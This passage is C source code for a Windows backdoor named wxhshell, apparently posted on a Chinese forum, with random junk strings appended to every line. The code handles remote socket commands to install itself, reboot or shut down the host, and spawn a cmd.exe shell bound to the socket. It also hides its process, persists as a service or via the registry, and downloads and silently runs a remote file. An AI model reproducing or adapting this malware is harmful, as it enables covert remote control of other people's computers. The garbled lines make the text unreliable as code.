  #PPHxh*S  
  // 帮助 *wX[zO+o  
  case '?': { [AIqKyIr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yP} |8x  
    break; _ MB/p  
  } B]b/(Q+  
  // 安装 Unq~lt%2  
  case 'i': { nFI<Te^)  
    if(Install()) :kE*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (M u;U!M"P  
    else hMvJNI6O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kEAF1RP:  
    break; r~7}w4U  
    } yA*U^:%  
  // 卸载 c68y\  
  case 'r': { 5A 5t  
    if(Uninstall())  @e\ @EW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _\,lv \u  
    else [h&s<<# D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c=?6`m,"M  
    break; ?UIW&*h}  
    } =TzJgx  
  // 显示 wxhshell 所在路径 {(asy}a9K  
  case 'p': { .!lLj1?p  
    char svExeFile[MAX_PATH]; a+O?bO  
    strcpy(svExeFile,"\n\r"); 73]t5=D:  
      strcat(svExeFile,ExeFile); <-G3Qgm  
        send(wsh,svExeFile,strlen(svExeFile),0); S1~K.<B  
    break; m J$[X  
    } r| \""  
  // 重启 YSfJUB!I  
  case 'b': { Fo%`X[?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #4"eQ*.*"  
    if(Boot(REBOOT)) r4X\/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SD8>,  
    else { umAO&S.+M  
    closesocket(wsh); 1g t 7My  
    ExitThread(0); <s|.2~  
    } ci:|x =  
    break; |)0Ta 9~  
    } 2 w! 0$  
  // 关机 3,*A VcQA  
  case 'd': { "H@I~X=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h#)\K| qs  
    if(Boot(SHUTDOWN)) B`3z(a92S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |f1^&97=+  
    else { 2>9..c  
    closesocket(wsh); FjiIB1 T  
    ExitThread(0); s`[V{1m,  
    } h -091N  
    break; L*4= b (3  
    } pEN`6*  
  // 获取shell t,0}}9%?  
  case 's': { \h0+` ;Q  
    CmdShell(wsh); M%Vp_ 0  
    closesocket(wsh); KjF8T7%  
    ExitThread(0); %gSmOW2.c^  
    break; !Z{7X ^  
  } Vu4LC&q  
  // 退出 ePaC8sd0  
  case 'x': { `C-8zA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i&%dwqp  
    CloseIt(wsh); G-]<+-Q$4  
    break; OR' e!{  
    } Nr)DU.f  
  // 离开 -?{g{6  
  case 'q': { pX!T; Re;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [0kZyjCq@  
    closesocket(wsh); QG L~??  
    WSACleanup(); <m{#u4FC'  
    exit(1); 2\|sXC  
    break; $$Ibr]$5  
        } yzL9Ic  
  } R*k;4*1u  
  } a0B%x!y^  
"fSaM&@[B  
  // 提示信息 U;u4ey  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #(a;w  
} (6[/7e)  
  } t%k`)p7O  
 => Qd  
  return; #hu`X6s"  
} 83#<Yxk~  
| "M1+(k7  
// shell模块句柄 Ytqx 0  
int CmdShell(SOCKET sock) Hl{ul'o  
{ g_>E5z.  
STARTUPINFO si; n? =O@yq  
ZeroMemory(&si,sizeof(si)); cf"!U+x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OH]45bd &7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y<N#{)Q  
PROCESS_INFORMATION ProcessInfo; Kg /,  
char cmdline[]="cmd"; m@L>6;*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zA$ f$J7\^  
  return 0; Z R~2Y?Wt9  
} %=s2>vv9  
E6 T=lwOZ  
// 自身启动模式 VtU2&  
int StartFromService(void) M-+!z5 q~d  
{ *qm>py`O  
typedef struct =dQF}-{!  
{ P9S)7&+DL  
  DWORD ExitStatus; gd7! +6  
  DWORD PebBaseAddress; ~qTChCXP  
  DWORD AffinityMask; ka(3ONbG  
  DWORD BasePriority; LRS,bl3}/  
  ULONG UniqueProcessId; KRP6b:+4L  
  ULONG InheritedFromUniqueProcessId; P~x4h{~Gd  
}   PROCESS_BASIC_INFORMATION; Zk|PQfi+  
M A%g-}  
PROCNTQSIP NtQueryInformationProcess; v9f%IE4fX  
XGYsTquSe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m?4HVv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9 *v14c%  
@cx#'  
  HANDLE             hProcess;  N PqO b  
  PROCESS_BASIC_INFORMATION pbi; |GPY bxzc  
K 4{[s z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7<2^8 `  
  if(NULL == hInst ) return 0; F`Z?$ 1  
,#0#1k<Dm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (58r9WhS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +OSSgY$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'cK{FiIT  
5;XU6Rz!  
  if (!NtQueryInformationProcess) return 0; mr]~(]B?r  
l6MBnvi   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q!h'rX=_-  
  if(!hProcess) return 0; PBL=P+  
w-@6qMJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ye}86{l  
J~ *>pp#U  
  CloseHandle(hProcess); "/taatcH  
B~O<?@]d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *N6sxFs  
if(hProcess==NULL) return 0; P.^*K:5@  
tpgD{BY^wJ  
HMODULE hMod; b`;&o^7gMO  
char procName[255]; g]?>6 %#rA  
unsigned long cbNeeded; u:wf :^  
<<@F{B7h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /7.//klN  
+*e Vi3  
  CloseHandle(hProcess); <0Gk:NB,  
-xyY6bxL  
if(strstr(procName,"services")) return 1; // 以服务启动 ybIqn0&[  
Udjn.D  
  return 0; // 注册表启动 jG#e% `'  
} gS|6,A9  
rTST_$"_6  
// 主模块 %hz5)  
int StartWxhshell(LPSTR lpCmdLine) Y%(8'Ch  
{ Q5 o0!w  
  SOCKET wsl; YCdtf7P=q  
BOOL val=TRUE; #nj;F'O](  
  int port=0; z\WyL;  
  struct sockaddr_in door; *d 4A3|  
lgb q^d  
  if(wscfg.ws_autoins) Install(); srKEtd"  
a:1$idj  
port=atoi(lpCmdLine); 6mxzE3?G  
ClPE_Cfw~  
if(port<=0) port=wscfg.ws_port; 52'6wwv6?  
$$B#S '  
  WSADATA data; @FRas00)|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I(/*pa?m{  
? Z2`f6;W4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j5~~%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8\?H`NN  
  door.sin_family = AF_INET; Z:,`hW*A6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }+)q/]%  
  door.sin_port = htons(port); h=kC3ot\  
4`+R |"4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =&: |a$C  
closesocket(wsl); g6?5  
return 1; N{a=CaYi+  
} :{KpnJvd  
$L'[_J  
  if(listen(wsl,2) == INVALID_SOCKET) { F$YT4414  
closesocket(wsl); # 3FsK  
return 1; 4 *. O%  
} P_.AqEH  
  Wxhshell(wsl); emT/H 95|,  
  WSACleanup(); )]zsAw`/  
M~.1:%khM  
return 0; owA.P-4  
Y44[2 :m  
} jZe/h#J)[  
A5s;<d0  
// 以NT服务方式启动 -x!JTx[K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m`tX&K#-  
{ 2=VFUR 8  
DWORD   status = 0; r\C"Fx^  
  DWORD   specificError = 0xfffffff; ey n-bw  
Fg i;%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 60xL.Z   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B@8lD\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c+##!_[9  
  serviceStatus.dwWin32ExitCode     = 0; PJ<9T3Fa  
  serviceStatus.dwServiceSpecificExitCode = 0; srS)"Jt  
  serviceStatus.dwCheckPoint       = 0; zXId up@  
  serviceStatus.dwWaitHint       = 0; =8Z-ORW51  
jK{qw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }E&:  
  if (hServiceStatusHandle==0) return; Q-yNw0V}F  
{m_y<  
status = GetLastError(); :8A@4vMS)?  
  if (status!=NO_ERROR) 9LSV^[QUH  
{ ?*~sx=mC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zu,Yuq  
    serviceStatus.dwCheckPoint       = 0; l4& l)4Rx  
    serviceStatus.dwWaitHint       = 0; .OlPVMFt  
    serviceStatus.dwWin32ExitCode     = status; R I:kp.V  
    serviceStatus.dwServiceSpecificExitCode = specificError; }LoMS<O-[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 34J*<B[Njo  
    return; 0~Xt_rN](  
  } 5>VX]nE3!  
Z4sS;k]}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MIqH%W.r u  
  serviceStatus.dwCheckPoint       = 0; okO\A^F  
  serviceStatus.dwWaitHint       = 0; BxaGBK<k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4K|O?MUNS  
} \GZ|fmYn  
\0FwxsL  
// 处理NT服务事件,比如:启动、停止 ~1nKL0C6u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {"|la;*I  
{ _]L]_Bh  
switch(fdwControl) Zlrbd  
{ DbYnd%k*4  
case SERVICE_CONTROL_STOP: 5+q dn|9%T  
  serviceStatus.dwWin32ExitCode = 0; TQQh:y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _SMi`ie#  
  serviceStatus.dwCheckPoint   = 0; ^-"tK:{  
  serviceStatus.dwWaitHint     = 0; r,:acK  
  { ONF x -U]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mRxeob  
  } ^,`]Q)P^  
  return; 4hkyq>c}  
case SERVICE_CONTROL_PAUSE: 02-% B~oP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n|B<rx?v  
  break; |*l^<==  
case SERVICE_CONTROL_CONTINUE: ~m[Gp;pL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1yFIIj:^|  
  break; G7r.Jm^q  
case SERVICE_CONTROL_INTERROGATE: g`)0 wP  
  break; l9 &L$,=  
}; Z tc\4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ydyz-  
} 7vc4 JO]  
uXb} o UC  
// 标准应用程序主函数 xxld.j6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) % pAbkb3m  
{ q(v|@l|)yO  
bEmzigN[  
// 获取操作系统版本 zT93Sb  
OsIsNt=GetOsVer(); d?V/V'T[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J'yCVb)V  
0:c3aq&u  
  // 从命令行安装 gLK0L%"5  
  if(strpbrk(lpCmdLine,"iI")) Install(); s}bLA>~Ta  
$"MGu^0;1  
  // 下载执行文件 sH]T1z  
if(wscfg.ws_downexe) { LZQG.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?A-f_0<0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ScmwHid:\  
} FRXaPod  
? ?("0U  
if(!OsIsNt) { :NB.ib@*  
// 如果时win9x,隐藏进程并且设置为注册表启动 t$?#@8Yk  
HideProc(); R 83PHM  
StartWxhshell(lpCmdLine); $f>(TW  
} }rF4M1+B\  
else TV`sqKW  
  if(StartFromService()) OjrZ6  
  // 以服务方式启动 i`?yi-R&  
  StartServiceCtrlDispatcher(DispatchTable); \[%_ :9eq  
else _joW%`T8  
  // 普通方式启动 Y=y 0`?K  
  StartWxhshell(lpCmdLine); .:e#!~Ki  
8~g~XUl  
return 0; qggRS)a  
}
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只看该作者 1 发表于: 2006-10-10
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